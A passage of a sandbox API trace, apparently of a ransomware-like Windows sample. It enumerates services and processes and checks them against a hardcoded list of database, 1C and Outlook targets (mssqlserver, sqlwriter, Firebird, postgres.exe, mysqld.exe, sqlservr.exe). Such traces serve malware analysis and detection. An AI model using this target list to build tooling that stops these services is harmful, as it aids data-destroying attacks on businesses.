lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0271.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0271.301] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0271.301] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0271.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0271.301] lstrlenW (lpString="AudioSrv") returned 8 [0271.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0271.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0271.301] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0271.301] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0271.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0271.301] lstrlenW (lpString="BFE") returned 3 [0271.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0271.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0271.301] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0271.301] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0271.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0271.301] lstrlenW (lpString="CryptSvc") returned 8 [0271.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0271.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0271.301] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0271.301] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0271.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0271.301] lstrlenW (lpString="CscService") returned 10 [0271.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0271.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0271.301] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0271.301] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0271.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0271.302] lstrlenW (lpString="DcomLaunch") returned 10 [0271.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0271.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0271.302] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0271.302] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0271.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0271.302] lstrlenW (lpString="Dhcp") returned 4 [0271.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0271.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0271.302] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0271.302] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0271.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0271.302] lstrlenW (lpString="Dnscache") returned 8 [0271.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0271.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0271.302] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0271.302] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0271.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0271.302] lstrlenW (lpString="DPS") returned 3 [0271.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0271.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0271.302] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0271.302] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0271.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0271.302] lstrlenW (lpString="eventlog") returned 8 [0271.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0271.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0271.302] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0271.302] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0271.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0271.302] lstrlenW (lpString="EventSystem") returned 11 [0271.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0271.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0271.302] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0271.302] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0271.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0271.303] lstrlenW (lpString="gpsvc") returned 5 [0271.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0271.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0271.303] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0271.303] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0271.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0271.303] lstrlenW (lpString="iphlpsvc") returned 8 [0271.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0271.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0271.303] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0271.303] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0271.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0271.303] lstrlenW (lpString="LanmanServer") returned 12 [0271.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0271.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0271.303] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0271.303] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0271.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0271.303] lstrlenW (lpString="LanmanWorkstation") returned 17 [0271.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0271.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0271.303] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0271.303] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0271.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0271.303] lstrlenW (lpString="lmhosts") returned 7 [0271.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0271.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0271.303] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0271.303] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0271.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0271.303] lstrlenW (lpString="MMCSS") returned 5 [0271.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0271.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0271.304] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0271.304] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0271.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0271.304] lstrlenW (lpString="MpsSvc") returned 6 [0271.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0271.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0271.304] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0271.304] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0271.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0271.304] lstrlenW (lpString="Netman") returned 6 [0271.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0271.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0271.304] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0271.304] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0271.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0271.304] lstrlenW (lpString="netprofm") returned 8 [0271.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0271.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0271.304] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0271.304] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0271.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0271.304] lstrlenW (lpString="NlaSvc") returned 6 [0271.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0271.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0271.304] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0271.304] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0271.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0271.304] lstrlenW (lpString="nsi") returned 3 [0271.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0271.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0271.304] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0271.304] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0271.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0271.304] lstrlenW (lpString="PcaSvc") returned 6 [0271.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0271.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0271.305] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0271.305] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0271.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0271.305] lstrlenW (lpString="PlugPlay") returned 8 [0271.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0271.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0271.305] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0271.305] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0271.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0271.305] lstrlenW (lpString="Power") returned 5 [0271.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0271.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0271.305] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0271.305] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0271.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0271.305] lstrlenW (lpString="ProfSvc") returned 7 [0271.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0271.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0271.305] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0271.305] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0271.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0271.305] lstrlenW (lpString="RpcEptMapper") returned 12 [0271.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0271.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0271.305] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0271.305] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0271.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0271.305] lstrlenW (lpString="RpcSs") returned 5 [0271.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0271.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0271.305] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0271.305] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0271.306] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0271.306] lstrlenW (lpString="SamSs") returned 5 [0271.306] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0271.306] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0271.306] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0271.306] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0271.306] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0271.306] lstrlenW (lpString="Schedule") returned 8 [0271.306] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0271.306] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0271.306] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0271.306] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0271.306] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0271.306] lstrlenW (lpString="SENS") returned 4 [0271.306] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0271.306] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0271.306] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0271.306] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0271.306] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0271.306] lstrlenW (lpString="ShellHWDetection") returned 16 [0271.306] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0271.306] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0271.306] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0271.306] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0271.306] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0271.306] lstrlenW (lpString="Spooler") returned 7 [0271.306] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0271.306] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0271.306] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0271.306] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0271.306] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0271.306] lstrlenW (lpString="SysMain") returned 7 [0271.306] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0271.306] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0271.306] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0271.307] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0271.307] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0271.307] lstrlenW (lpString="Themes") returned 6 [0271.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0271.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0271.307] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0271.307] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0271.307] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0271.307] lstrlenW (lpString="TrkWks") returned 6 [0271.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0271.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0271.307] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0271.307] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0271.307] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0271.307] lstrlenW (lpString="UxSms") returned 5 [0271.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0271.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0271.307] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0271.307] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0271.307] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0271.307] lstrlenW (lpString="WdiServiceHost") returned 14 [0271.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0271.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0271.307] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0271.307] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0271.307] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0271.307] lstrlenW (lpString="WdiSystemHost") returned 13 [0271.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0271.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0271.307] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0271.307] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0271.307] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0271.307] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0271.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0271.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0271.308] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0271.308] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0271.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0271.308] lstrlenW (lpString="Winmgmt") returned 7 [0271.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0271.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0271.308] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0271.308] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0271.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0271.308] lstrlenW (lpString="WPDBusEnum") returned 10 [0271.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0271.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0271.308] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0271.308] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0271.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0271.308] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4c90058 | out: hHeap=0x540000) returned 1 [0271.308] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3d8 [0271.309] Process32FirstW (in: hSnapshot=0x3d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0271.309] Process32NextW (in: hSnapshot=0x3d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0271.310] lstrlenW (lpString="System") returned 6 [0271.310] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0271.310] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0271.310] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0271.310] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0271.310] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0271.310] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0271.310] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0271.310] Process32NextW (in: hSnapshot=0x3d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0271.310] lstrlenW (lpString="smss.exe") returned 8 [0271.310] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0271.310] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0271.310] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0271.310] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0271.310] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0271.310] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0271.310] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0271.310] Process32NextW (in: hSnapshot=0x3d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0271.310] lstrlenW (lpString="csrss.exe") returned 9 [0271.310] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0271.310] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0271.310] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0271.311] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0271.311] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0271.311] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0271.311] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0271.311] Process32NextW (in: hSnapshot=0x3d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0271.311] lstrlenW (lpString="wininit.exe") returned 11 [0271.311] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0271.311] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0271.311] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0271.311] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0271.311] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0271.311] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0271.311] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0271.311] Process32NextW (in: hSnapshot=0x3d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0271.311] lstrlenW (lpString="csrss.exe") returned 9 [0271.311] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0271.311] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0271.311] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0271.311] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0271.311] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0271.311] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0271.312] Process32NextW (in: hSnapshot=0x3d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0271.312] lstrlenW (lpString="winlogon.exe") returned 12 [0271.312] Process32NextW (in: hSnapshot=0x3d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0271.312] lstrlenW (lpString="services.exe") returned 12 [0271.312] Process32NextW (in: hSnapshot=0x3d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0271.312] lstrlenW (lpString="lsass.exe") returned 9 [0271.312] Process32NextW (in: hSnapshot=0x3d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0271.313] lstrlenW (lpString="lsm.exe") returned 7 [0271.313] Process32NextW (in: hSnapshot=0x3d8, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 